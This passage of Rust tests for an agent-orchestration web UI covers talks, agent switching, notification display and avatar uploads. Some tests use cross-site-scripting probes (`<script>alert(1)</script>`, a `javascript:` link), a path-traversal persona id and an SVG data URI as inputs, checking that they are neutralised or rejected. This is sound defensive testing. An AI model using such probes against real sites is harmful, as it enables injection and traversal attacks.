13465        let f = Fixture::with_repo(repo).await;
13466        let first = f.get("/api/repos").await;
13467        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13468
13469        // A second checkout appears; within the TTL the cached answer must
13470        // not notice it.
13471        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13472        let second = f.get("/api/repos").await;
13473        assert_eq!(
13474            second.json().as_array().map(Vec::len),
13475            Some(1),
13476            "a fresh cache must not rescan inside the TTL"
13477        );
13478
13479        let refreshed = f.get("/api/repos?refresh=1").await;
13480        assert_eq!(
13481            refreshed.json().as_array().map(Vec::len),
13482            Some(2),
13483            "an explicit refresh must rescan even inside the TTL"
13484        );
13485    }
13486
13487    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13488    /// string, declared straight in a repository's own `magi.toml` rather
13489    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13490    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13491    /// this is safe to run over a real HTTP round trip.
13492    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13493
13494    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13495    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13496    /// even though it takes no turn, and `talk_say` invokes one.
13497    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13498        let tmp = TempDir::new().expect("tempdir");
13499        let repo = tmp.path().join("repo");
13500        std::fs::create_dir_all(&repo).expect("repo dir");
13501        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13502        let f = Fixture::with_repo(repo.clone()).await;
13503        (tmp, repo, f)
13504    }
13505
13506    #[tokio::test]
13507    async fn posting_a_talk_with_remembered_choices_is_soft() {
13508        let (_tmp, _repo, f) = talk_fixture().await;
13509
13510        let good = f
13511            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13512            .await;
13513        assert_eq!(good.status, 201, "{}", good.body);
13514        assert_eq!(good.json()["persona"], "rei");
13515
13516        // Wrong values and wrong types are dropped one by one, never a 4xx.
13517        let stale = f
13518            .post(
13519                "/api/talks",
13520                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13521            )
13522            .await;
13523        assert_eq!(stale.status, 201, "{}", stale.body);
13524        let v = stale.json();
13525        assert_eq!(v["implementers"], 1);
13526        assert_ne!(v["persona"], "nobody");
13527        let typed = f
13528            .post(
13529                "/api/talks",
13530                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13531            )
13532            .await;
13533        assert_eq!(typed.status, 201, "{}", typed.body);
13534
13535        // The strict `agent` field still refuses an unknown id.
13536        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13537        assert!(
13538            !strict.status.to_string().starts_with('2'),
13539            "{}",
13540            strict.body
13541        );
13542    }
13543
13544    #[tokio::test]
13545    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13546        let (_tmp, _repo, f) = talk_fixture().await;
13547
13548        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13549        // is the ordinary way a phone opens a talk.
13550        let opened = f.post("/api/talks", None).await;
13551        assert_eq!(opened.status, 201, "{}", opened.body);
13552        let body = opened.json();
13553        assert_eq!(body["status"], "open");
13554        assert_eq!(
13555            body["turns"].as_array().unwrap().len(),
13556            0,
13557            "opening takes no agent turn: there is nothing yet to answer"
13558        );
13559
13560        // An explicit empty object is the same request as none at all.
13561        let also_opened = f.post("/api/talks", Some("{}")).await;
13562        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13563
13564        let listed = f.get("/api/talks").await.json();
13565        assert_eq!(listed.as_array().unwrap().len(), 2);
13566    }
13567
13568    #[tokio::test]
13569    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13570        let tmp = TempDir::new().expect("tempdir");
13571        let repo = tmp.path().join("repo");
13572        std::fs::create_dir_all(&repo).expect("repo dir");
13573        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13574        std::fs::write(
13575            repo.join("magi.toml"),
13576            format!("{MOCK_AGENT_TOML}\n{second}"),
13577        )
13578        .expect("write magi.toml");
13579        let home = TempDir::new().expect("temp home");
13580        let talks = Talks::at(home.path().join("talks"));
13581        let ui = Arc::new(
13582            Ui::new(
13583                Queue::at(home.path().join("queue")),
13584                Questions::at(home.path().join("questions")),
13585                talks.clone(),
13586                home.path().join("runs"),
13587                home.path().to_path_buf(),
13588                repo.clone(),
13589            )
13590            .with_worktrees_root(home.path().join("wt")),
13591        );
13592        let cfg = config_for(&repo).await.expect("discover config");
13593        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13594        let id = talk.id.clone();
13595        let call = |agent: &str| {
13596            talk_agent(
13597                State(Arc::clone(&ui)),
13598                Path(id.clone()),
13599                Json(TalkAgent {
13600                    agent: agent.to_owned(),
13601                }),
13602            )
13603        };
13604
13605        let unknown = call("nobody").await.expect_err("unknown agent");
13606        assert_eq!(
13607            unknown.status,
13608            StatusCode::BAD_REQUEST,
13609            "{}",
13610            unknown.message
13611        );
13612
13613        {
13614            // Nothing refused so far took a claim, so the guard is free to take
13615            // and holding it is what makes the talk busy.
13616            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13617            let busy = call("second").await.expect_err("busy talk");
13618            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13619            assert!(
13620                busy.message.contains("a talk turn is running"),
13621                "{}",
13622                busy.message
13623            );
13624            drop(guard);
13625        }
13626        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13627
13628        let Json(view) = call("second").await.expect("switch");
13629        assert_eq!(view.talk.agent, "second");
13630        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13631        let saved = talks.get(&id).expect("reload");
13632        assert_eq!(saved.agent, "second");
13633        assert_eq!(saved.turns.len(), 1);
13634        assert!(!view.thinking);
13635        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13636        for agent in ["mock", "second"] {
13637            let Json(view) = call(agent).await.expect("immediate consecutive change");
13638            assert_eq!(view.talk.agent, agent);
13639            assert!(!view.thinking);
13640            assert!(!ui.is_thinking(&id));
13641        }
13642
13643        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13644            .await
13645            .expect("detail");
13646        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13647        assert_eq!(roster, ["mock", "second"]);
13648
13649        let mut closed = talks.get(&id).expect("reload");
13650        talk::close(&mut closed, &talks).expect("close");
13651        let refused = call("mock").await.expect_err("closed talk");
13652        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13653        assert!(
13654            refused.message.contains("takes no more turns"),
13655            "{}",
13656            refused.message
13657        );
13658    }
13659
13660    #[tokio::test]
13661    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13662        let tmp = TempDir::new().expect("tempdir");
13663        let repo = tmp.path().join("repo");
13664        std::fs::create_dir_all(&repo).expect("repo dir");
13665        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13666        let home = TempDir::new().expect("temp home");
13667        let talks = Talks::at(home.path().join("talks"));
13668        let ui = Arc::new(
13669            Ui::new(
13670                Queue::at(home.path().join("queue")),
13671                Questions::at(home.path().join("questions")),
13672                talks.clone(),
13673                home.path().join("runs"),
13674                home.path().to_path_buf(),
13675                repo.clone(),
13676            )
13677            .with_worktrees_root(home.path().join("wt")),
13678        );
13679        let cfg = config_for(&repo).await.expect("discover config");
13680        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13681        let id = talk.id.clone();
13682        let call = |n: u8| {
13683            talk_implementers(
13684                State(Arc::clone(&ui)),
13685                Path(id.clone()),
13686                Json(TalkImplementers { implementers: n }),
13687            )
13688        };
13689
13690        for bad in [0u8, 4] {
13691            let e = call(bad).await.expect_err("out of range");
13692            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13693        }
13694        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13695
13696        {
13697            // Nothing refused so far took a claim, so the guard is free to take
13698            // and holding it is what makes the talk busy.
13699            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13700            let busy = call(2).await.expect_err("busy talk");
13701            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13702            assert!(
13703                busy.message.contains("a talk turn is running"),
13704                "{}",
13705                busy.message
13706            );
13707            drop(guard);
13708        }
13709
13710        let Json(view) = call(3).await.expect("switch");
13711        assert_eq!(view.talk.implementers, 3);
13712        assert!(talks.get(&id).expect("reload").implementers_dirty);
13713        assert!(!view.thinking);
13714        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13715        for n in [1, 2, 3] {
13716            let Json(view) = call(n).await.expect("immediate consecutive change");
13717            assert_eq!(view.talk.implementers, n);
13718            assert!(!view.thinking);
13719            assert!(!ui.is_thinking(&id));
13720        }
13721
13722        let mut closed = talks.get(&id).expect("reload");
13723        talk::close(&mut closed, &talks).expect("close");
13724        let e = call(2).await.expect_err("closed talk");
13725        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13726        assert!(e.message.contains("takes no more turns"), "{}", e.message);
13727    }
13728
13729    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
13730    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13731        let tmp = TempDir::new().expect("tempdir");
13732        let repo = tmp.path().join("repo");
13733        std::fs::create_dir_all(&repo).expect("repo dir");
13734        std::fs::write(
13735            repo.join("magi.toml"),
13736            format!("{MOCK_AGENT_TOML}\n{extra}"),
13737        )
13738        .expect("write magi.toml");
13739        let home = TempDir::new().expect("temp home");
13740        let talks = Talks::at(home.path().join("talks"));
13741        let ui = Arc::new(
13742            Ui::new(
13743                Queue::at(home.path().join("queue")),
13744                Questions::at(home.path().join("questions")),
13745                talks.clone(),
13746                home.path().join("runs"),
13747                home.path().to_path_buf(),
13748                repo.clone(),
13749            )
13750            .with_worktrees_root(home.path().join("wt")),
13751        );
13752        let cfg = config_for(&repo).await.expect("discover config");
13753        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13754        (tmp, home, ui, talk.id, repo)
13755    }
13756
13757    #[tokio::test]
13758    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13759        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13760        let mut conversation = ui.talks.get(&id).unwrap();
13761        talk::record(
13762            &mut conversation,
13763            &ui.talks,
13764            "# Update on a task you filed\noperator words",
13765            vec![],
13766        )
13767        .unwrap();
13768        // Simulate an old operator record; headings do not prove authorship.
13769        conversation.turns[0].sender = None;
13770        conversation.turns[0].messages.clear();
13771        ui.talks.put(&mut conversation).unwrap();
13772        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13773        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13774        talk::drain(&mut conversation, &ui.talks).unwrap();
13775        talk::record_reply(
13776            &mut conversation,
13777            &ui.talks,
13778            "about that report",
13779            vec![],
13780            Some(talk::ReplyTarget {
13781                turn: 1,
13782                message: 1,
13783            }),
13784        )
13785        .unwrap();
13786        conversation.turns[2].messages[0]
13787            .reply
13788            .as_mut()
13789            .unwrap()
13790            .sender = None;
13791        conversation.turns.push(talk::Turn {
13792            sender: Some(talk::Sender::Persona),
13793            who: talk::Who::Agent,
13794            body: "magi: actual persona words".into(),
13795            at: Timestamp::now(),
13796            attachments: vec![],
13797            usage: None,
13798            breaks: None,
13799            messages: vec![],
13800            posted_by: None,
13801        });
13802        ui.talks.put(&mut conversation).unwrap();
13803        let view = TalkView::with_config(
13804            ui.talks.get(&id).unwrap(),
13805            false,
13806            None,
13807            &ui.home,
13808            &ui.references,
13809        );
13810        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13811        assert_eq!(
13812            view.talk.turns[1].messages[0].sender,
13813            Some(talk::Sender::Operator)
13814        );
13815        assert_eq!(
13816            view.talk.turns[1].messages[1].sender,
13817            Some(talk::Sender::Magi)
13818        );
13819        assert_eq!(
13820            view.talk.turns[2].messages[0]
13821                .reply
13822                .as_ref()
13823                .unwrap()
13824                .sender,
13825            Some(talk::Sender::Magi)
13826        );
13827        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13828        assert_eq!(view.turn_messages_md[0].len(), 1);
13829        assert!(view.turn_messages_md[0][0].is_none());
13830        assert!(view.turn_messages_md[1][0].is_none());
13831        assert!(view.turn_messages_md[1][1].is_some());
13832    }
13833
13834    #[tokio::test]
13835    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13836        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13837        let mut conversation = ui.talks.get(&id).unwrap();
13838        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13839        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13840        talk::queue_notice(
13841            &mut conversation,
13842            &ui.talks,
13843            &body,
13844            "watch:123",
13845            &|_| false,
13846            None,
13847            display.clone(),
13848        )
13849        .unwrap();
13850        assert!(
13851            !talk::queue_notice(
13852                &mut conversation,
13853                &ui.talks,
13854                &body,
13855                "watch:123",
13856                &|_| false,
13857                None,
13858                display.clone()
13859            )
13860            .unwrap()
13861        );
13862        let saved = ui.talks.get(&id).unwrap();
13863        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13864        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13865        assert!(
13866            view.talk.turns[0].messages[0].display.is_none(),
13867            "operator copy stays literal"
13868        );
13869        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13870        assert!(view.turn_messages_md[0][0].is_none());
13871        let queued_md = view.pending_messages_md[0].clone();
13872        assert_eq!(
13873            queued_md,
13874            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13875        );
13876        talk::drain(&mut conversation, &ui.talks).unwrap();
13877        talk::record_reply(
13878            &mut conversation,
13879            &ui.talks,
13880            "Explain",
13881            vec![],
13882            Some(talk::ReplyTarget {
13883                turn: 1,
13884                message: 0,
13885            }),
13886        )
13887        .unwrap();
13888        let mut saved = ui.talks.get(&id).unwrap();
13889        assert_eq!(saved.turns[1].messages[0].body, body);
13890        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13891        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13892        assert!(!reply.excerpt.contains("automatic report"));
13893        reply.excerpt = body.chars().take(240).collect(); // old saved quote
13894        saved.turns[1].messages[0].display = None; // old MAGI send
13895        ui.talks.put(&mut saved).unwrap();
13896        let view = TalkView::with_config(
13897            ui.talks.get(&id).unwrap(),
13898            false,
13899            None,
13900            &ui.home,
13901            &ui.references,
13902        );
13903        assert_eq!(view.turn_messages_md[1][0], queued_md);
13904        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13905        assert!(
13906            !view.talk.turns[2].messages[0]
13907                .reply
13908                .as_ref()
13909                .unwrap()
13910                .excerpt
13911                .contains("automatic report")
13912        );
13913        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13914    }
13915
13916    #[tokio::test]
13917    async fn consultation_display_hides_directives_in_queue_and_history() {
13918        for node in [
13919            "implement",
13920            crate::land::APPROVAL_NODE,
13921            crate::github_text::ASK_NODE,
13922        ] {
13923            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13924            let mut question = Question::new(
13925                "run-123".into(),
13926                node.into(),
13927                "seat-1".into(),
13928                "Which backend?".into(),
13929                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13930                vec!["SQLite".into(), "Redis".into()],
13931            );
13932            ui.questions.put(&mut question).unwrap();
13933            let body = crate::prompt::chat_consult(&question);
13934            let mut conversation = ui.talks.get(&id).unwrap();
13935            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13936            assert!(
13937                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13938            );
13939            conversation = ui.talks.get(&id).unwrap();
13940            assert_eq!(conversation.pending_messages[0].body, body);
13941            assert!(body.contains("magi answer"));
13942            let mut legacy_pending = conversation.clone();
13943            legacy_pending.pending_messages[0].display = None;
13944            let legacy_view =
13945                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13946            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13947            assert!(legacy_md.contains("Question consultation"));
13948            assert!(!legacy_md.contains("magi answer"));
13949            let view =
13950                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13951            assert!(
13952                view.turn_messages_md[0][0].is_none(),
13953                "operator copy stays literal"
13954            );
13955            let queued_md = view.pending_messages_md[0].clone().unwrap();
13956            let rendered = serde_json::to_string(&queued_md).unwrap();
13957            for visible in [
13958                "Which backend?",
13959                "Context",
13960                "storage",
13961                "SQLite",
13962                "Redis",
13963                "<script>literal</script>",
13964            ] {
13965                assert!(rendered.contains(visible), "missing {visible}");
13966            }
13967            for directive in [
13968                "What to do",
13969                "magi answer",
13970                "Never answer it yourself",
13971                "Do not edit the repository",
13972            ] {
13973                assert!(!rendered.contains(directive), "exposed {directive}");
13974            }
13975            assert_eq!(
13976                view.talk.pending_messages[0].display,
13977                Some(crate::prompt::chat_consult_display(&question))
13978            );
13979            talk::drain(&mut conversation, &ui.talks).unwrap();
13980            let view =
13981                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13982            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13983            assert_eq!(conversation.turns[1].messages[0].body, body);
13984
13985            // Historical consultations lack a snapshot: show a safe placeholder
13986            // rather than parsing instructions or reconstructing mutable facts.
13987            conversation.turns[1].messages[0].display = None;
13988            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13989            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13990            assert!(legacy.contains("Question consultation"));
13991            assert!(!legacy.contains("magi answer"));
13992            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13993        }
13994    }
13995
13996    #[test]
13997    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13998        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13999        let (body, mut display) =
14000            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14001        display.facts = facts.into();
14002        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14003        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14004        let json = serde_json::to_string(&nodes).unwrap();
14005        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14006            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14007        }
14008        assert!(json.contains("<script>alert(1)</script>"));
14009        assert!(!json.contains("javascript:"));
14010        assert!(!json.contains("Tell the operator"));
14011        assert!(!json.contains("untrusted"));
14012        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14013        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14014        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14015        assert_eq!(
14016            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14017            md::to_nodes("# Status", &md::ImageBase::None),
14018        );
14019    }
14020
14021    #[tokio::test]
14022    async fn notification_display_recovers_exact_legacy_completion_references() {
14023        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14024        let mut conversation = ui.talks.get(&id).unwrap();
14025        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14026            id: "task-123",
14027            title: "Change",
14028            status: "done",
14029            reason: None,
14030            run: Some("run-123"),
14031            pr: None,
14032            summary: Some("Merge state unknown"),
14033        });
14034        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14035        conversation.turns[0].sender = None;
14036        conversation.turns[0].messages.clear();
14037        conversation.turns[0].breaks = None;
14038        conversation.pending = body.clone();
14039        conversation
14040            .completion_notices
14041            .push(crate::chat_notify::CompletionReference {
14042                task: "task-123".into(),
14043                run: Some("run-123".into()),
14044                notice: body.clone(),
14045            });
14046        ui.talks.put(&mut conversation).unwrap();
14047        let view = TalkView::with_config(
14048            ui.talks.get(&id).unwrap(),
14049            false,
14050            None,
14051            &ui.home,
14052            &ui.references,
14053        );
14054        assert_eq!(
14055            view.talk.turns[0].messages[0].display,
14056            Some(display.clone())
14057        );
14058        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14059        assert_eq!(
14060            view.talk.turns[0].messages[0].sender,
14061            Some(talk::Sender::Magi)
14062        );
14063        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14064        conversation.completion_notices[0]
14065            .notice
14066            .push_str("different");
14067        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14068        assert!(view.talk.turns[0].messages.is_empty());
14069        assert!(view.talk.pending_messages.is_empty());
14070    }
14071
14072    #[tokio::test]
14073    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14074        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14075        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14076            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14077        ))
14078        .await;
14079        let path = avatar_setting_path(home.path(), Some("rei"));
14080        let orphan = avatar_setting_path(home.path(), Some("removed"));
14081        save_icon_file(&orphan, icon).unwrap();
14082        for (saved, expected) in [
14083            (icon, "custom"),
14084            ("builtin", "builtin"),
14085            ("data:image/png;base64,!!!!", "inherit"),
14086            ("data:image/png;base64,PGh0bWw+", "inherit"),
14087            ("/tmp/avatar.png", "inherit"),
14088        ] {
14089            atomic_icon_write(&path, saved).unwrap();
14090            let catalog =
14091                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14092                    .await
14093                    .unwrap()
14094                    .0;
14095            let personas = catalog["personas"].as_array().unwrap();
14096            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14097            assert_eq!(rei["override_state"], expected);
14098            assert_eq!(rei["has_config_icon"], true);
14099            assert_eq!(rei["is_orphan"], false);
14100            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14101            assert_eq!(removed["override_state"], "custom");
14102            assert_eq!(removed["is_orphan"], true);
14103            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14104            assert_eq!(default["override_state"], "inherit");
14105            assert_eq!(default["has_config_icon"], false);
14106            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14107            assert_eq!(
14108                effective.as_deref(),
14109                Some(if expected == "builtin" { "" } else { icon })
14110            );
14111        }
14112    }
14113
14114    #[tokio::test]
14115    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14116        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14117        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14118            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14119        ))
14120        .await;
14121        let target = |id: Option<&str>| AvatarSettingsQuery {
14122            persona: id.map(str::to_owned),
14123            ..Default::default()
14124        };
14125        let original_config = config_for(&repo).await.unwrap();
14126        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14127        let original_prompt = persona::section_for(&original_persona, None);
14128        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14129            .await
14130            .unwrap()
14131            .0;
14132        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14133            let _ = avatar_settings_put(
14134                State(ui.clone()),
14135                Query(target(persona)),
14136                Json(MagiIconUpload { icon: icon.into() }),
14137            )
14138            .await
14139            .unwrap();
14140            let path = avatar_setting_path(home.path(), persona);
14141            assert!(path.starts_with(home.path().join("avatars")));
14142            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14143            for bad in [
14144                "/tmp/image.png".to_owned(),
14145                "data:image/png;base64,!!!!".to_owned(),
14146                "data:image/png;base64,PGh0bWw+".to_owned(),
14147                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14148                format!(
14149                    "data:image/png;base64,{}",
14150                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14151                ),
14152            ] {
14153                assert!(
14154                    avatar_settings_put(
14155                        State(ui.clone()),
14156                        Query(target(persona)),
14157                        Json(MagiIconUpload { icon: bad })
14158                    )
14159                    .await
14160                    .is_err()
14161                );
14162                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14163            }
14164        }
14165        assert!(read_magi_icon(home.path()).is_none());
14166        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14167        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14168            .await
14169            .unwrap()
14170            .0;
14171        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14172        assert_ne!(
14173            before
14174                .personas
14175                .iter()
14176                .find(|p| p.id == "magi")
14177                .unwrap()
14178                .avatar,
14179            after
14180                .personas
14181                .iter()
14182                .find(|p| p.id == "magi")
14183                .unwrap()
14184                .avatar
14185        );
14186        let restarted = Arc::new(Ui::new(
14187            Queue::at(home.path().join("queue")),
14188            Questions::at(home.path().join("questions")),
14189            Talks::at(home.path().join("talks")),
14190            home.path().join("runs"),
14191            home.path().to_owned(),
14192            repo,
14193        ));
14194        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14195            .await
14196            .unwrap()
14197            .0;
14198        assert!(
14199            catalog["personas"]
14200                .as_array()
14201                .unwrap()
14202                .iter()
14203                .any(|p| p["id"] == "../custom/日本語")
14204        );
14205        for expected in ["custom", "default", "rei"] {
14206            assert!(
14207                catalog["personas"]
14208                    .as_array()
14209                    .unwrap()
14210                    .iter()
14211                    .any(|p| p["id"] == expected)
14212            );
14213        }
14214        let response =
14215            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14216        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14217        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14218            .await
14219            .unwrap();
14220        assert_eq!(
14221            effective_persona_icon(home.path(), "rei", Some(icon)),
14222            Some(String::new())
14223        );
14224        let response = talk_avatar(
14225            State(restarted.clone()),
14226            Path(id.clone()),
14227            Query(AvatarQuery {
14228                persona: Some("rei".into()),
14229                ..Default::default()
14230            }),
14231        )
14232        .await
14233        .unwrap();
14234        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14235        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14236            .await
14237            .unwrap()
14238            .0;
14239        assert_ne!(
14240            after
14241                .personas
14242                .iter()
14243                .find(|p| p.id == "rei")
14244                .unwrap()
14245                .avatar,
14246            reset
14247                .personas
14248                .iter()
14249                .find(|p| p.id == "rei")
14250                .unwrap()
14251                .avatar
14252        );
14253        let mut inherit = target(Some("rei"));
14254        inherit.inherit = Some("1".into());
14255        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14256            .await
14257            .unwrap();
14258        assert_eq!(
14259            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14260            Some(icon)
14261        );
14262        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14263            .await
14264            .unwrap();
14265        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14266        assert_eq!(
14267            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14268            Some(icon)
14269        );
14270        // Display changes never rewrite the conversation or its prompt-bearing config.
14271        let cfg = config_for(&ui.repo).await.unwrap();
14272        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14273        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14274        assert!(!original_prompt.contains("data:image"));
14275        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14276        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14277        assert!(!stored.contains("data:image"));
14278        let mut orphan = ui.talks.get(&id).unwrap();
14279        orphan.persona = "../custom/日本語".into();
14280        let view = TalkView::with_config(
14281            orphan,
14282            false,
14283            Some(&cfg),
14284            home.path(),
14285            &id_links::IndexCache::default(),
14286        );
14287        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14288    }
14289
14290    #[tokio::test]
14291    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14292        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14293        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14294        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14295        let _ = magi_icon_put(
14296            State(ui.clone()),
14297            Json(MagiIconUpload { icon: icon.into() }),
14298        )
14299        .await
14300        .unwrap();
14301        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14302        assert_ne!(original, changed);
14303        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14304        let response = magi_avatar(
14305            State(ui.clone()),
14306            Query(AvatarQuery {
14307                persona: None,
14308                builtin: None,
14309            }),
14310        )
14311        .await;
14312        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14313        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14314        assert_eq!(
14315            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14316            "nosniff"
14317        );
